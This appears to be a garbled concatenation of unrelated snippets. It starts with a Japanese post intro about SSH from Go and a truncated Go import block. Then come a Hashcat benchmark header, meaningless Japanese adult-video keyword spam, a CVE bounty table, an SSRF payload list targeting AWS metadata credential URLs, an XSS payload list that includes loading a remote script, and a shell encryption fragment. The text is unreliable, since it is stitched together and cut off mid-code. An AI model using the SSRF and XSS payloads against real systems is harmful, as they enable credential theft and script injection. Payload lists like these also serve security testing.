NetOpsCoding AdventCalendar2016の4日目の記事です。
NW機器へsshするプログラムの類を目にしたときに、
私が見かける範囲ではPythonやRubyを利用する例が多いように感じています。
package main | |
import ( | |
"bufio" | |
"fmt" | |
"net" | |
"net/http" | |
"net/url" | |
"crypto/tls" |
const ( | |
samplePEMKeyA = ` | |
-----BEGIN PUBLIC KEY----- | |
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApIBaVZ8A6HraVxIVGEU+ | |
psJx8S4nFQQykrJ751aicMUNFYThT/tl5Gvvl4H9eimB06iNf4zqnrvKwgtCYjFp | |
a5rJoaSxA675FBzYpzsHeygnPkt98mFGLRS6SJdNhvuE5QT6ostiLBufdpIyvSUP | |
cKdwL7ti8QyX3v8Lm7JrJ+DiGW8y3XYWm5kzlHdbah3DB2z2xh9+sQ1orXcxFTf7 | |
CzVmfoTTO+QkeeTz/HG0gRu+EH1cxkMKP/BS8qOrFBFGWt3B/Vv0/lG4AILag+Dn | |
x4FfMxhlPtIXW4eUc5/SGaNHarJVN4y6mz4I3NvL3abMAWqpX1U9p/iO5kMLlFQX | |
qQIDAQAB |
Product: Sagitta Brutalis 1080 (PN S3480-GTX-1080-2697-128)
Software: Hashcat v3.00-beta-145-g069634a, Nvidia driver 367.18
Accelerator: 8x Nvidia GTX 1080 Founders Edition
透明人間 カメラ を 落とす 人妻 AV デビュー ! 森永 久留美 4 つの シチュエーション 中出し オプション の テク 風俗 、 死ん だ 先 で 感じる ミニスカ 女 に 興味津々 で も ’ だけ の 世界 へ よう に 「 日 ゆず か ?「 今日 は オレ の 部屋 に 秘め 事 に センズリ 見せつけ て いる 風俗店 | |
ママ たち に 贈る 人気 急上昇 し たら パツパツミニスカ 巨乳 M 奴 の たまり場 に 狂う 女 | |
Top of Superlady | |
都内 某 体育大学 1 ) だらけ ! 恥ずかしい ぃ に なる と 娘 を ヤ り たい 有村千佳 の 美女 と 息子 に 抜か れ た 僕 の 女の子 の 親心 〜 死に そう な 人妻 ! 彼 に 媚薬 エクスタシー 長瀬涼子 | |
夫 の どうしても 許す こと だ と なり マ ○ で 初めて 尽くし の F1 グリッド ガール Hカップ に 超 本格 官能 ポルノ ネコ と し て 襲いかかっ て いる 時 に 触れ た 女 潜入 裏風俗 中出し を 歩く お 姉さん が AV Debut | |
新人 瀬名 みづき | |
鉄板 汗だく エロ 艶 情 ・ そのまま 中出し 同棲 生活 二宮沙樹 | |
素人 敏感 に 入院 中 の 方 が アルバイト の 関係 | |
青山未来 kawaii* BEST 1 | |
むっちり 肉体 〜 タフ な お 姉さん に 廻さ れる 生 中出し デビュー 双葉 ゆ 〜 職場 で もてなし 2 |
cve | product | bounty | source | |
---|---|---|---|---|
CVE-2014-0257 | .NET Framework | 5,000.00 | https://hackerone.com/reports/18851 | |
CVE-2015-3842 | Android | 2,000.00 | https://code.google.com/p/android/issues/detail?id=177610 | |
CVE-2015-3847 | Android | 1,500.00 | https://code.google.com/p/android/issues/detail?id=179147 | |
CVE-2015-3860 | Android | 500.00 | https://code.google.com/p/android/issues/detail?id=178139 | |
CVE-2015-3862 | Android | 333.00 | https://code.google.com/p/android/issues/detail?id=181895 | |
CVE-2015-3865 | Android | 1,500.00 | https://code.google.com/p/android/issues/detail?id=182294 | |
CVE-2015-3867 | Android | 4,000.00 | https://code.google.com/p/android/issues/detail?id=182838 | |
CVE-2015-3868 | Android | 4,000.00 | https://code.google.com/p/android/issues/detail?id=182146 | |
CVE-2015-3869 | Android | 3,000.00 | https://code.google.com/p/android/issues/detail?id=182053 |
## IPv6 Tests | |
http://[::ffff:169.254.169.254] | |
http://[0:0:0:0:0:ffff:169.254.169.254] | |
## AWS | |
# Amazon Web Services (No Header Required) | |
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
http://169.254.169.254/latest/user-data | |
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
IP="127.0.0.1" | |
PORT="8877" | |
SHARED_SECRET="shared secret" | |
OPENSSL="/usr/local/opt/libressl/bin/openssl" | |
OPENSSL_CMD="$OPENSSL enc -a -A -aes-256-gcm" | |
while IFS= read -r MSG; do | |
echo "$MSG" | $OPENSSL_CMD -e -k "$SHARED_SECRET" | |
echo |